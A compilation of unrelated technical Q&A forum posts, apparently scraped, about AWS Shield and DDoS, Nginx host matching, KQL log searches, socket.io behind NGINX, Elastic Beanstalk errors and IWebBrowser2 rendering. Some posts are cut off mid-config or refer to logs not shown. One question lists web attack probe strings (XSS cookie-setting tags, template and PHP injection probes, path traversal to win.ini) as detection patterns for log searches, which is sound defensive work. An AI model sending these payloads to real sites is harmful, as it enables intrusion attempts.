My website under Route 53 and ALB was flooded once on 12 May but seemed AWS Shield Standard version (free) didn't do anything to prevent?

Shield standard only protects Layer 3 and 4 of your application network stack - so its expected it would allow valid web traffic through. You would need to use Shield Advanced or WAF to gain greater control and Cloud Front to provide a caching layer (all paid services) to better protect your instances.
My advice is to follow the principle of least privilege at each layer in terms of firewall ports open and what hostnames you allow. You can use rate limiting via WAF to avoid getting flooded, and using CloudFront to intercept requests and return cached responses where possible to reduce load on your instances.

Could the server be hacked? Especially since the rate of Ram consumption increased exaggeratedly
In reaction to the last comment in the question:
"How can I ignore them in Nginx, it's hard to define a location for each endpoint in the log above"
My comment was make under the impression that you have 1 container running Nginx and another one running Django.
The Django container might have a separate (sub)domainname. Then Nginx will only pass on requests to Django is the domainname matches, not only the IP.
In your case you have the server listening to the IP address, which gives a match for all kinds of garbage based on the IP.

What is the best practice using KQL to filter desired attack signature over (web)logs?

Recently I'm experimenting with logstach and Kibana on top of elastic over (web-)server logs. I tried to extract some attack signature like XSS & SQL injection like the following examples when logs contain < $ ' " ! .\ %22, and so on:
<script>foo</script>
<script>document.cookie=%22testkzcp=XXX;%22</script>
<meta%20http-equiv=Set-Cookie%20content=%22testvpmi=XXXX%22>
${XXXXXXXXXX+5}.action
'.print(md5(XXXXX)).'
${#print(md5(XXXXX))}\
";print(md5(XXXXX));$a="
!(()&&!|*|*|
.\.\.\.\.\.\.\.\.\.\/windows/win.ini
The following is the common error I get when using"((", ".\", "OR" or "$" and so on using KQL:
KQLSyntaxError: Expected ":", "<", "<=", ">", ">=", AND, OR, end of input, whitespace but ")" found.
I checked The Kibana Query Language (KQL) and tried to use * as wildcard_queries beside of interesting term "</script>" or "%22</script>" through my desired timestamp but it was unsuccessful. I also checked Escaping special characters in elasticsearch.
So The question is, What is the best practice for using KQL to filter/search desired string-based attack signature over logs. Please give an example for the above-mentioned attack signatures.
Edit1: I found the post that says it's possible to solve this problem using Regex in KQL as well as some workaround here & here, So I'm also interested in finding Regex-based solution to find the afore-mentioned pattern in KQL.

AWS Load Balanced socket.io server, running behind a Proxy on NGINX

I'll be candid - I know very little about websockets, my config file was setup by a developer we had years ago, and even then I dont think his configuration was correct. All the HTTP(S) REST API responses work, but the websockets features are having issues.
I am getting an error from the web console in production, everything works on local:
WebSocket connection to 'wss://my.website.com/socket.io/?EIO=3&transport=websocket&sid=bE54hfVzKjRVT5H1AR1i' failed:
I have a little bit of a difficult environment where my socket.io server is running
In our AWS environment I have a Linux server running NGINX, because this sits behind a public facing AWS load balancer (public facing listens via 443 with SSL) sending traffic down through port 80 to the actual box, all the certificates are handled at the AWS load balancer rather than on box.
as a secondary issue, is there a reason my old developer would add keepalive 64 on a websocket server? the verbiage seems to be odd when websockets are supposed to stay up for long periods of time?
I know my issue has to be in the NGINX config, I dont suspect my issue is in my load balancer but I dont know where to start
from my local machine, I have tried to change the url in my config to ws:// and wss:// with no success
upstream my_nodejs_upstream {
server 127.0.0.1:8080;
keepalive 64;

AWS Elastic Beanstalk 500 error (Django) - Python-urllib/2.7 & static files error

I'm currently deploying the Django & React Web on the Elastic Beanstalk, but I still get the 500 error. Is there any method to get rid of this error? I use PostgreSQL, and I grepped only 500 errors down below.
Here's my git repository:

I suspect if this is one of your first deployments, that you simply have not added the Elastic Beanstalk hostname to ALLOWED_HOSTS in your settings.py.
But without the actual error logs, that is hard to be sure of. Using the Elastic Beanstalk console, you should be able to click "request logs" and then request the last 100 lines. One of the logfiles you will get from that is the error log, that has more detailed debugging information.

IWebBrowser2 control blank - web page is not displayed

We display some web pages in our MFC application. We use an ordinary IWebBrowser2 object, and we just do a Navigate2() call to display a certain URL.
But often, the page is not displayed. We just get a blank (white) control in our dialog. If we right click and choose "Refresh", the page is displayed correctly. This doesn't happend all the time - sometimes the page is displayed as it should without Refresh.
And everything seems to be OK on the server. This is the log:

First, only the XML and the XSLT files are fetched from the server - and the control is blank. When we Refresh, those files are fetched again. They don't need to be sent, though (status 304), so they were fetched correctly the first time. But the second time, the web browser control moves on, and also gets the CSS file and a couple of GIF:s. And the page is displayed.
Does anybody knows what could cause this "half hearted" loading of the web page the first time? Is there some "IWebBrowser2 quirk" we should know about, or something we could do differently in our application? We haven't been able to solve this - I would be VERY grateful for some help!
